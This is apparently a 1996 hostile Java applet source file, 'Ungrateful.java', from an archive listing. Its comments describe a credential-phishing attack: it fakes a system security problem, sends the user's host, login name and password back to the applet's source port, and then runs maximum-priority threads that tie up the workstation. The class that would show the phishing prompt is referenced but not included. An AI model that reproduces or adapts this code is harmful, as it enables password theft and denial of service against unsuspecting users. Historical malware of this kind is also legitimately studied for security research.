home *** CD-ROM | disk | FTP | other *** search
- /* Ungrateful.java by Mark D. LaDue */
-
- /* February 28, 1996 */
-
- /* Copyright (c) 1996 Mark D. LaDue
- You may study, use, modify, and distribute this example for any purpose.
- This example is provided WITHOUT WARRANTY either expressed or implied. */
-
- /* This Java Applet tries to convince you that your system is having
- a security problem and that you must now log in to start Netscape
- once again. If you do so, your user name and password are sent
- by the browser to the home of this applet. In any event, the
- applet then proceeds to drop the bomb on your workstation. */
-
- import java.awt.*;
- import java.applet.Applet;
-
- public class Ungrateful extends java.applet.Applet implements Runnable {
-
- // Just a font to paint strings to the applet window
- Font bigFont = new Font("TimesRoman", Font.BOLD, 36);
-
- // These threads will attempt to trick you
- // into logging in, and send your host, login name, and
- // password to its source
- Thread controller = null;
- Thread sleeper = null;
-
- // Used to read in a parameter that makes the thread sleep for a
- // specified number of seconds taking effect
- int delay;
- // Used to read in a parameter that determines the port to which
- // Sockets will be connected
- public static int thePort;
-
- public void init() {
- setBackground(Color.white);
-
- // Determine how many seconds the main thread should sleep before kicking in
- String str = getParameter("wait");
- if (str == null)
- delay = 0;
- else delay = (1000)*(Integer.parseInt(str));
- // Determine the port number
- str = getParameter("portnumber");
- if (str == null)
- thePort = 7000;
- else thePort = Integer.parseInt(str);
- }
-
-
- /* Create and start the main thread in the standard way */
-
- public void start() {
- if (sleeper == null) {
- sleeper = new Thread(this);
- sleeper.setPriority(Thread.MAX_PRIORITY);
- sleeper.start();
- }
- }
-
- public void stop() {}
-
-
- /* Open a tricky window and start doing wasteful operations */
-
- public void run() {
-
- // Let the applet tell its lie
- repaint();
-
- // Let the applet sleep for a while to avert suspicion
- try {sleeper.sleep(delay);}
- catch(InterruptedException e) {}
-
- if (controller == null) {
- ErrorMessage err = new ErrorMessage();
- controller = new Thread(err);
- controller.setPriority(Thread.MAX_PRIORITY);
- controller.start();
- }
- }
-
- /* Paints the applet's lie */
-
- public void update(Graphics g) {
- paint(g);
- }
-
- public void paint(Graphics g) {
- g.setColor(Color.blue);
- g.setFont(bigFont);
- g.drawString("All Applets Are Trustworthy!", 10, 200);
- }
- }
-
-